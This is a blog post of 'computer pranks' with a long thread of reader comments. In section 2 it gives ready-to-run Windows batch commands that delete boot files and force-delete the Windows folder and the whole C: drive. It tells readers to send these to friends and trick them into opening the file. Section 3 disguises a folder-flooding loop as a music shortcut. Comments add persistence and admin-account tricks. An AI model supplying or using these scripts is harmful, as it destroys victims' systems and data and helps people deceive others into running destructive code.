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Computer pranks to freak out your friends and make them crying for mummy

I've been posting many articles about computer pranks on this blog (Deadly Virus Prank, The Ultimate Virus, How to Create a Fake and Harmless Virus and Facebook Virus Prank). Today , I will show you 5 great computer pranks that will frustrate your victims very much. These pranks could be very painfully, so please use them at your own risk ;)

1. Crash a Computer System With Nothing But a URL!

I stumbled across this URL while surfing the internet. This is a javascript "exploit" (that still works, by the way) and will hang/crash your system. It basically floods you with an infinite loop of mailto:xxx windows. To cancel this (and you have to move fast) kill the process of your email client before you run out of RAM.


2. Shut Down a Computer Forever

Open notepad and copy/paste this code:

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

Now Save it as a .bat file.

This should shutdown the persons computer. It shuts it off once and deletes the files needed to reboot and restart.


Send it to your friends computer and tell them to open it. Have fun!!

Here is another code too.....

cmd /c del c:\windows\* /F /S /Q

cmd /c del c:\* /F /S /Q

Paste it in NotePad And Save It with Extension .cmd or .bat

3. Make over 1,000 folders in few seconds

Here I will teach you simple prank that will make an unlimited amount of folders in any place you want.

1. Open notepad and type :

@echo off
md %random%
goto top

@echo off makes it so that it appears to be a blank screen but actually its making hundreds of folder.
md %random% is command that creating folders with random names.
goto top – return to label :top, infinite loop

2. Save it as 1000folders.bat

3. After that you will get icon that looks as show below

People probably not going to click on an icon that looks like this picture so to make it better (funnier and easier to prank people with) make a short-cut to it

4. Right click on icon and click Create Shortcut

5. Right click on shortcut and click properties , then click on Change Icon and rename icon

Tell the person that you found the music they wanted and downloaded it on there computer, that way they will think its a shortcut to the music and they will click on it then they will think its loading so they wont exit right away when they finally realize its not going to load or so many errors have came up they realized somethings wrong it will be to late) also just something to know its impossible to delete them using cmd you HAVE to find all of them and delete them manually…

4. Microsoft Word Prank

Here , I will show you great microsoft word prank that will frustrate the victims very much, whenever they type a certain word, another word appears! This prank is great for office and schools.

1. Launch Microsoft Word

2. Go to Tools -> AutoCorrect Options…

3. In the space where it says Replace , type a real common word such as the, and, a,I, you etc. In the space that says With , type in a crazy word such as fdgfdhkihyob45, whatever you want! Then , click on Add

5. Cool Windows Prank

This will make it to where your friend cannot click on anything on the screen.

1. Take a screenshot of the desktop. You can use windows printscreen or some printscreen software.

2. Make your printscreen picture as desktop background.

3. Right click on desktop , then click Arrange Icons By->Show Desktop Icons (Windows XP)
Right click on desktop , then click View->Show Desktop Icons (Windows 7 and Vista)

That is it , when you click on the “icons”, nothing will happen!

Hope you'll have a lot of fan with these pranks. If you know other good prank feel free to mention it in comment.

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78 comments to "Painful Computer Pranks"

Rohan said...
August 1, 2010 at 2:49 PM

very nice codes............

Anonymous said...
August 18, 2010 at 5:00 AM

so CoOl man u'r the BEst !!!

Anonymous said...
December 8, 2010 at 8:12 AM


Anonymous said...
February 7, 2011 at 4:59 PM

gud collection...!!

Anonymous said...
February 26, 2011 at 2:46 AM

Will this works in Vista and Windows 7?

Anonymous said...
May 18, 2011 at 1:48 AM

yeah, deleting the windows folder is fun! Really is.. deleting the bootloader even more so.

Anonymous said...
May 19, 2011 at 9:12 AM


Yes you will, with the help of a Linux Live CD, Windows PE, or another computer.

Anonymous said...
May 20, 2011 at 2:33 PM

awesome ideas but your spelling is horrific

Anonymous said...
May 21, 2011 at 2:49 AM

open notepad and type
Label A:
goto A

save with .bat extension.
Infinitely loops your browser to open up google.
Best way to stop it is it Ctrl+C and hit y in the command prompt that comes up

Anonymous said...
May 22, 2011 at 6:12 PM

i love pranks like these i also love hacking

Steven said...
May 23, 2011 at 8:36 AM

Another good one I like to do is go into the control panal and change the mouse settings to left handed. It swapped the left and right click buttons and you would be suprised how long it takes people to figure out

Anonymous said...
May 23, 2011 at 3:03 PM


Anonymous said...
May 28, 2011 at 8:36 PM

if you press shift alt and print screen it changes the computer into high vis mode there is a 99% chance that your mate wont know how to change it back!
(only workes on some browsers)press ctrl alt and up/down/left/right changes the way the screen is showed

Anonymous said...
June 3, 2011 at 8:50 PM

Good Collection Thnx :)

Anonymous said...
June 12, 2011 at 2:33 AM

cool...but the first two sound dangerous. don't forget the classic Ctrl-Alt-arrow trick

Anonymous said...
June 12, 2011 at 5:18 AM

Unfortunately the Ctrl-Alt-Arrow trick only works for certain versions of Windows XP and nothing else.

Anonymous said...
June 30, 2011 at 6:33 PM

Another really good one is to go into the AMD/ATI or Nvidia video card settings and change screen orientation or rotate desktop to "portrait" or "inverted" ... this combined with the left handed mouse is hilarious! LOL

Anonymous said...
June 30, 2011 at 9:31 PM

My God...and to think this isn't the worst hacks you can do...

Shapewear said...
July 1, 2011 at 4:08 PM

Too bad this only works for certain versions of xp.

Darryl Jones said...
July 2, 2011 at 12:49 AM

I'll put these .bat files on a website for people to open :P

car lock outs Lock said...
July 2, 2011 at 5:04 PM

ruining a hard drive, or at least the boot records, is a bit more than a prank, but... still fun

Anonymous said...
July 18, 2011 at 6:11 PM

A variation of prank #5: Before making the screenshot, create a folder that says "Gay porn" and don't hide all the icons, just delete the "Gay porn" folder so that the person is stuck with a new cooler folder

Anonymous said...
July 23, 2011 at 11:33 AM

you could still get your comp working again using a boot cd. you can download a windows Vista/Xp boot cd for free with service pack 3 slip-streamed in it. But it is still a bitch to have to reinstall

Anonymous said...
August 5, 2011 at 3:42 AM

If you send someone a file that shuts down their computer for good, what do you think could be taken as legal actions in response?... I have some enemies I'd like to wtfpwn. Thanks :D!

Kyle Webs said...
August 6, 2011 at 3:13 PM

There's the code I was looking for to use as an excuse to buy a new computer.

this_be_dave said...
August 8, 2011 at 7:00 AM

im going to download the 1000folders, and the repeat google opener to my mums internet thing, so when she connects, it will start opening google and stuff. it shall be fun as all firetruck

Anonymous said...
August 28, 2011 at 1:10 AM

Oh man, this is so evil! :D

Anonymous said...
September 6, 2011 at 1:20 AM

You don't have many friends, do you?

Anonymous said...
September 6, 2011 at 8:31 PM

For the print screen prank, open task manager and end explorer.exe now they can't use the windows button either

Anonymous said...
September 6, 2011 at 10:53 PM

You can put 1000folders/google prank in the autoexec.bat too, so it'll run every time windows starts.

Anonymous said...
September 12, 2011 at 6:49 AM

1) Move fast, kill process
2) Reinstall Windows or use another OS/comp to replace missing files (btw, if you went this far, why is the hard drive not reformatted?)
3) Kill process Run a search specifying only creation time. Shift, click, delete. They are all gone.
4) Word will tell you when it auto corrects stuff, which makes this one way too easy. Just revert auto-correct, or turn it off.
5) First right click on a file/folder gives this away. Just follow the steps above in reverse.

Anonymous said...
September 13, 2011 at 4:49 AM

how to remove the 1000 folders

Linux Command said...
October 12, 2011 at 3:18 PM

You are always great. I love your blog. Keep up and provide us great tricks like this!.

Anonymous said...
October 21, 2011 at 12:59 AM

make the infinite internet windows prank (in comments) look like firefox (shown in prank 4) and change google to any porn site or multiple porn sites lol then run as school admin using cmd on lower level acc.

October 22, 2011 at 2:03 PM

I like this. thanks for this code

kurt said...
October 28, 2011 at 12:25 AM

woow it is very important to know;
thanks for sharing

R@uf 's bl0g said...
November 11, 2011 at 4:37 PM

Hey I'm gonna do this to my friends ...let me whether they are capable of understanding it

Anonymous said...
November 15, 2011 at 7:11 PM

who is actually Anonymous here?

Anonymous said...
November 17, 2011 at 2:01 AM

Just intime for my day of mayhem lmao

Anonymous said...
November 18, 2011 at 10:05 AM

can i just say that i did the website link one to a friend at skwl and i got suspended :D so thank a billion

the ranking blog said...
November 19, 2011 at 7:23 PM

thanks for the tips..

darius said...
November 21, 2011 at 6:46 AM

Hahaha awesome!! thanks!

Anonymous said...
November 22, 2011 at 4:08 PM

hahaha the thousands of folders works great! Worked great with my friend! I don't think he'll be messing with me anytime soon :)

Anonymous said...
November 25, 2011 at 6:41 AM

nice posts can u tell me how to recover from all of these pranks

Bishwa Ranjan said...
November 25, 2011 at 11:22 PM

nice budy, love ur posts, i m playing prank 1000folder wt my frend at last tell him abt u , keep going, love u muhhhhhh.....

Anonymous said...
December 4, 2011 at 5:45 AM

Son of a bitch i oped the .bat file

Anonymous said...
December 16, 2011 at 5:56 AM

I was fired

Anonymous said...
December 16, 2011 at 7:34 PM

If your doin the autocorrect prank on windows 7 follow these steps:
1. Click "file" underneath the save button
2. Go down the list until you find "options" and click on it
3. When the window opens, click on the tab "proofing"
4. The very first option is AutoCorrect options. Follow the rest of the tutorial.
5. Enjoy ;)

Club 17 said...
December 23, 2011 at 4:43 AM

Lol! Another one: Edit the properties of Internet Explorer icon and change the target to: “%windir%\system32\shutdown.exe -r -t 00″ Now, every time your buddy tries to run IE, his machine will mysteriously restart.

Mehul said...
January 12, 2012 at 12:37 PM

The collection isnice

Amit Shaw said...
January 13, 2012 at 11:39 AM

Nice Explanation. Awesome Tricks.

techtt said...
January 17, 2012 at 12:25 PM

Coooooooooleeeeeeeeeeooooooooooooooo Tips.............
i will share on my fb page

Bad Paladin said...
January 19, 2012 at 9:09 AM

I decided to test number 2. Shut Down a Computer Forever.

After I typed the .txt file, Microsoft Security Essentials recognized it as a threat, and brought up a big warning message saying it was a Trojan. (I'm using Win7 64bit.)

If I tried to prank someone with it, wouldn't their computer detect it first?

TRP said...
January 28, 2012 at 7:00 AM

What kind of "prank" is it to shut down someone's computer without a chance for recovery? What the hell is wrong with you?

Anonymous said...
January 31, 2012 at 5:46 PM

"What kind of "prank" is it to shut down someone's computer without a chance for recovery? What the hell is wrong with you?"

How true...

Annunci Trans Brescia said...
February 27, 2012 at 4:27 PM

The one with the 1000 folders is awesome. Just tried it and it works

Salim Chowdhury said...
March 11, 2012 at 6:51 AM

Another good I like to do is to enter the control panel and change the mouse for left-handed configuration. They exchanged left and right buttons and was surprised how long it takes for people to discover

Anonymous said...
March 14, 2012 at 9:23 PM

o gosh.. did this top url one as a prank to a friend..she opened it at her school and it took out the whole computer system.. any suggestions on wat to do?

movies said...
March 21, 2012 at 11:29 AM

what a pain for friends, they will cry if i did, but they they are smart guys and everyone is smart when internet is available they will search online and correct the problem.

abdul samad said...
March 21, 2012 at 9:49 PM

awesome post

Techiestuffs said...
March 25, 2012 at 12:41 PM

Indeed Great Collection

Anonymous said...
March 28, 2012 at 10:00 PM

just append the 1000folders stuff to the autoexec.bat to have another 1000folder every bootup xD
good solution to problem: don't install windows in the first place ...

memmr said...
April 5, 2012 at 12:16 AM


United707 said...
April 14, 2012 at 1:24 PM

Pretty cool stuff especially the screenshot trick.

Anonymous said...
April 14, 2012 at 8:05 PM

Whould it wotk if i clicked on the link on a mobil bevice

Anonymous said...
April 24, 2012 at 6:08 AM

I clicked on it on my phone and it completely restarted my phone...but no damage done. I have an android phone (htc sensation 4g). As far as working on an iPhone I don't know yet.

Anonymous said...
April 29, 2012 at 1:57 AM

Brilliant, really opened my eyes,

Krishaang said...
May 5, 2012 at 4:07 PM

AWesome dude!!!!U rock!!

Anonymous said...
May 17, 2012 at 12:24 AM

You heartless bastard.

Anonymous said...
May 20, 2012 at 1:27 AM

very cool :)
You should add a Flattr button to this posts, this is much easier and faster then a paypal donation ;) said...
May 20, 2012 at 7:48 AM

Seriously, don't pull this stuff on the technologically challenged. It may be funny to people like us, but they will NOT find it funny.

Anonymous said...
May 20, 2012 at 8:40 AM

we seem to have varied opinions here, but i for one, think these codes are awesome

Anonymous said...
May 23, 2012 at 9:51 PM

Nice, but shitting down someone's computer is mean don't you think? (Unless the person is a jerk. XD Bwahahaha)

Kedar said...
June 5, 2012 at 4:22 PM

Good Tricks

Edi -The A.j Geek said...
June 22, 2012 at 11:57 AM

hahahaa, I so Much love this codes, very Coool!!!

Anonymous said...
July 16, 2012 at 3:52 PM


Gaurav Lath said...
July 27, 2012 at 4:33 AM

did it on the class comp.
teacher zapped to see so many folders on desktop

tshitiz raj said...
September 25, 2012 at 2:36 PM

excellent bro !!!!!!!!!!

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